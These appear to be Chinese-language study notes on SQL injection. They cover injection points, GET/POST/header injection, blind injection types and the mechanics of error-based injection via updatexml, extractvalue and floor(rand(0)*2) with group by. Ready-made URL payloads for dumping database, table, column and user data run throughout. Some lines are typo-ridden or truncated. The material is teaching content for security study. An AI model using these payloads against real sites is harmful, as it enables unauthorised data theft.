什么是SQL注入?
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
常用SQL语句:
show databases;
选中某个数据库
use 数据库名字 test
查询当前数据库所有的表
show tables;
查询t1表所有数据
查询关键 select
* 所有
from 表名
select * from t1;
条件查询 id=2
where 条件 编程 if(条件 true){执行}
select * from t1 where id=2;
查询id=2 pass =111
union 合并查询
2个特性:
前面查询的语句 和 后面的查询语句 结果互不干扰!
前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致
* == 3
select id from t1 where id=-1 union select * from t1 where pass =111;
order by 排序
order by 字段名字 id 也可以 跟上数字 1 2 3 4 .。。。。。
猜解表的列数 知道表有几列 。
注入流程:
1、判断注入点
2、猜解列数 order by
3、判断回显点
4、信息收集
5、使用对应SQL语句执行注入查询
SQL注入类型:
(1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
(2)字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。
(3)搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
注入方式:
GET方式注入
get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入
POST方式注入
post提交方式主要适用于表单的提交,用于登录框的注入
方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示
Request方式注入
概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:$REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了$POST(获取POST传参)$GET(获取GET传参)$COOKIE(获取COOKIE传参)$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
HTTP头注入
什么是Header头?
通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分
什么是Header头部注入?
header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。
SQL注入-报错注入
盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:
1.基于布尔的SQL盲注 - 逻辑判断
regexp like ascii left ord mid
2.基于时间的SQL盲注 - 延时判断
if sleep
3.基于报错的SQL盲注 - 报错回显(强制性报错 )
函数解析:
updatexml():从目标XML中更改包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
'or updatexml(1,concat(0x7e,database()),0)or'
extractvalue():从目标XML中返回包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union slect 1,extractvalue(1,concat(0x7e,(select version())))%23
函数应用:
floor()向下取整 floor(10.5) = 10rand()随机数 0 ~ 1之间count(*)函数返回表的记录数。concat函数:将多个字符串连接成一个字符串group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。会建立一张临时表注意:多个字段分组要使用某个列的聚合函数 cout sum等
pikachu insert
username=x' or (select 1 from (select count(*),concat((select))
SQL注入-floor报错
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。
爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
报错需要满足的条件:
-
floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)
-
注入语句中查询用到的表内数据必须>=3条
-
需要用到的count(*)、floor()或者ceil()、rand()、group by
函数详解
RAND() RAND(N)
返回一个随机浮点值 v ,范围在 0 到1 之间 (即, 其范围为 0 ≤ v ≤ 1.0)。若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。
rand() 随机数函数
floor() 向下取整函数
count() 计数函数
group by 分组方法
count和group by结合使用
mysql> select * from user;
+----+--------+--------+
| Id | uname | pwd |
+----+--------+--------+
| 1 | admin | 123456 |
| 2 | admin1 | 123457 |
| 3 | admin2 | 123458 |
| 4 | admin3 | 12321 |
| 5 | admin | 12345 |
+----+--------+--------+
5 rows in set (0.00 sec)
mysql> select count(*) from user group by uname;
+----------+
| count(*) |
+----------+
| 2 |
| 1 |
| 1 |
| 1 |
+----------+
4 rows in set (0.00 sec)
mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:
先建立虚拟表,key是主键,不可重复
依次对分组字段数据到key中查询,如果key中没有相同数据,就进行添加,cout为1
如果在key中查询遇到相同的数据,则不会进行数据的插入,会对count加1操作!
group by floor(rand(0)*2)报错原理
实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 ......的顺序 记住这个顺序对理解比较重要
其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次。
那这个“被计算多次”到底是什么意思?就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
我们来看下floor(rand(0)2)报错的过程就知道了,从上面可以看到在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。
具体看看select count() from student group by floor(rand(0)2);的查询过程
构造报错语句
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23